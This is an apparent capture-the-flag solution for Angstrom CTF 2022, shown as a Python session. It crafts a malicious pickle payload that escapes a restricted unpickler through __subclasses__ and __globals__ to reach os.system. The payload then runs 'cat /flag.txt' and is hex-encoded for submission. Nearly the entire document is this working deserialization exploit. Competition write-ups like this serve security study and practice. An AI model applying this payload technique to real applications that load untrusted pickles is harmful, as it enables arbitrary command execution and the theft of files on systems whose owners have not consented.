Angstrom CTF 2022 by Aplet123!
>>> lepickle = b'''\x80\x04cempty
... empty
... }V__name__
... cempty
... __class__.__base__
... sbcempty
... empty
... }V__name__
... cempty
... __name__.__subclasses__
... (tRsbcempty
... empty
... }V__name__
... cempty
... __name__.__getitem__
... (I138
... tRsbcempty
... empty
... }V__name__
... cempty
... __name__.__init__
... sbcempty
... empty
... }V__name__
... cempty
... __name__.__globals__
... sbcempty
... empty
... }V__name__
... cempty
... __name__.get
... (Vsystem
... tRsbcempty
... __name__
... (Vcat /flag.txt
... tR.'''.hex()
>>> print(lepickle)
800463656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f636c6173735f5f2e5f5f626173655f5f0a736263656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f6e616d655f5f2e5f5f737562636c61737365735f5f0a287452736263656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f6e616d655f5f2e5f5f6765746974656d5f5f0a28493133380a7452736263656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f6e616d655f5f2e5f5f696e69745f5f0a736263656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f6e616d655f5f2e5f5f676c6f62616c735f5f0a736263656d7074790a656d7074790a7d565f5f6e616d655f5f0a63656d7074790a5f5f6e616d655f5f2e6765740a285673797374656d0a7452736263656d7074790a5f5f6e616d655f5f0a2856636174202f666c61672e7478740a74522e